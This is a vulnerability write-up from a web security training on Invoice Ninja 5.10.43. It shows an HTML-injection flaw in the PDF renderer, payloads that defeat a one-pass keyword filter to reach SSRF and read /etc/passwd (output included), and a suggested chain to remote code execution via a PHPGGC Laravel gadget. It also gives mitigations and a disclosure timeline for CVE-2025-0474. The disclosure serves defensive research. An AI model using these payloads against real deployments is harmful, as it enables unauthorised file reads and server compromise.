Hey, Happy Valentine’s day! 😽
Introduction
This article is the result of an OffenSkill lvl-30 training focused on a white-box code review, tooling, and applicative introspection.
The picked lab was Invoice Ninja
, version 5.10.43
. It is a Laravel based software and its vendor page can be found here. The source code is available on their Github.
This software/product is introduced as follows:
A source-available invoice, quote, project and time-tracking app built with Laravel.
In this writeup we’ll cover two ways to exploit our newly controlled pdf renderer.
First on the Server Side Request Forgery side of things, then on the Arbitrary File Read one.
It is left as an exercise for the reader to turn the file read primitive into a Remote Code Execution through Laravel encryption/decryption, and signed serialize/unserialize behaviors. It is a fact that once the laravel encryption key is known, an unserialize sink to RCE exists on this version. More on that later in this article, remember to read Remsio’s cool work and send him cookies! 🌹
Resources:
Vulnerability detail
The lab used during this training is no other than the official invoiceninja docker images. The issue is reachable with an account (any priv level), and is nothing but a badly sanitized HTML injection in the context of a browser-based html invoice being rendered to pdf.
At the time of writing (Jan 2025), the code responsible for the issue is still present in the latest version v5.11.7
.
<?php
/**
* Invoice Ninja (https://invoiceninja.com).
*
* @link https://github.com/invoiceninja/invoiceninja source repository
*
* @copyright Copyright (c) 2024. Invoice Ninja LLC (https://invoiceninja.com)
*
* @license https://www.elastic.co/licensing/elastic-license
*/
namespace App\Utils\Traits\Pdf;
use App\Exceptions\InternalPDFFailure;
use Beganovich\Snappdf\Snappdf;
trait PdfMaker
{
/**
* Returns a PDF stream.
*
* @param string|null $header Header to be included in PDF
* @param string|null $footer Footer to be included in PDF
* @param string $html The HTML object to be converted into PDF
*
* @return string The PDF string
*/
public function makePdf($header, $footer, $html)
{
$pdf = new Snappdf();
if (config('ninja.snappdf_chromium_arguments')) {
$pdf->clearChromiumArguments();
$pdf->addChromiumArguments(config('ninja.snappdf_chromium_arguments'));
}
if (config('ninja.snappdf_chromium_path')) {
$pdf->setChromiumPath(config('ninja.snappdf_chromium_path'));
}
$html = str_ireplace(['file:/', 'iframe', '<embed', '<embed', '<object', '<object', '127.0.0.1', 'localhost'], '', $html);
$generated = $pdf
->setHtml($html)
->generate();
if ($generated) {
return $generated;
}
throw new InternalPDFFailure('There was an issue generating the PDF locally');
}
}
On an outdated deployment of the Snappdf library used, this issue could lead to a straight-up Remote Code Execution with a browser exploit n-day as the library disables the sandbox by default with --no-sandbox
.
This bug could therefore be chained with a browser exploit, a SSRF to the internal network including the loopback, or even an arbitrary file read to push the exploit chain further.
As far as we know, there are limitations on a browser based file read. In our specific case, accessing files from the /proc/
filesystem, or with a .php
suffix was blocked and we couldn’t come up with a bypass before the end of the training. The rendering is done as www-data
, so usual UNIX user rights apply as well (i.e. can’t read /etc/shadow
or other root-owned
files).
Root Cause Analysis
The bug can be reached when a new invoice is created / stylized and opened in the editing mode. Navigating to the text editor and clicking source code
allows direct editing of the html style/sources.
From there we tried to add simple img payloads and wait for our callback.
nc -lnvp 8000
<img src="http://127.0.0.1:8000/" alt="W3Schools.com">
No positive result came back. By reading the code, the reason seemed obvious: Invoice Ninja has security measures which will block our initial attempt and wipe down our payload!
Here is the culprit:
$html = str_ireplace(
['file:/', 'iframe', '<embed', '<embed', '<object', '<object', '127.0.0.1', 'localhost'],
'',
$html
);
By looking into it, we can say that it’s time to create slightly different payloads and go around that “security measure”. Below is a first IP-based bypass.
<img src="http://127.0.1:8000/" alt="W3Schools.com">
This simple html injection is nice and already allows XSS. Now with the IP bypass we obtain the SSRF aspect of it, but there might be a simpler and more generic bypass to this filter, right? Riiight?
Also, the SSRF & XSS is subject to the browser CORS securities, which might be annoying… But the html content is hosted on a file://
and not https?://
scheme, meaning file access should be granted!
Bypass part, shall we?
The code str_ireplace(['foo', 'bar'], '', $html);
will replace within the $html
variable the evil matches once. Once. Once… OnOncece? Once!
Bypass done! 😎
You get it, mutations are like:
<ifraiframeme>
goes<iframe>
filfile:/e:///etc/passwd
goesfile:///etc/passwd
- And so on!
From this point I -@brank0x42- jumped straight to the other part of Invoice Ninja to read internal files!
First, we navigate to Settings
, then Invoice design
, then Custom designs
and click on Design
(😴). Then we pick Body
and replace the body html code with our Proof of Concept code (style has been added to force display and readability):
AA<ifriframeame
style="background: #FFFFFF; position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"
width="1000" height="1000"
src="fifile:/le:///etc/passwd/"/>BB
Tadaaa! 🎉
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
invoiceninja:x:1500:1500::/var/www/app:/bin/sh
A true eye candy for every Security Ninja! 🥷
Mitigations
- Realistic & Useful ones
- Only allow very strict html tags and attributes
- Generate the DOM with an ASP aware parser, no string concats
- Clean-up recursively (but there’ll always be bypasses, just less trivial)
- Rework the whole pdf rendering or style edition.. 😭
- No
--no-sandbox
. - Ideally, generate everything on the frontend (less parsers differentials, front does front stuff)
- Funky & Idealist ones -
./lalu_complain_time.sh
- No php.
- No controlled html at all (client side path traversal, browser abuse, …)
- This lib seems shady af omg… Str concat to exec commands, file:// prefix, only few commits…
Bonus - Unserialize to Shell?
We had some time left, and there were probably sinks that could be abused for php unserialize exploits!
Before looking for a sink, we just ensured that a known or trivial unserialize gadget chain was already present so we don’t spend (read “waste”) time on this for no reason!
By tweaking the code, we tested many payloads and can affirm that Laravel/RCE17
from PHPGGC worked right away. So as suggested early in this article, take some time, find an unserialize sink, read the Laravel secret, encrypt the payload, and SPAWN A SHELL
! 😘
Feel free to DM me -lalu- if you did so and have a clean script or nuclei template, I’ll happily feature your research here! 🍀
Timeline
- 03/01/2025 - Sending the draft blogpost to
contact@invoiceninja.com
- 04/01/2025 - The vendor submits a weak patch and claims it’s neat
- 05/01/2025 - The vendor tries to hide our bug as CVE-2024-53353 which was on a prior version…
- 09/01/2025 - After many emails, we give up with the vendor, their weak patches, and call it a day. Again… 😭
- 14/01/2025 - CVE-2025-0474 gets reserved! 🥳
- 14/01/2025 - BlogPost published
Credits : Training lvl-30 | 2024 October
Attendees:
- Branko Brkic / @brank0x42
- Yup, this was a one-man training, less synergy, but more focus!
Join the next Web Security Trainings at Offenskill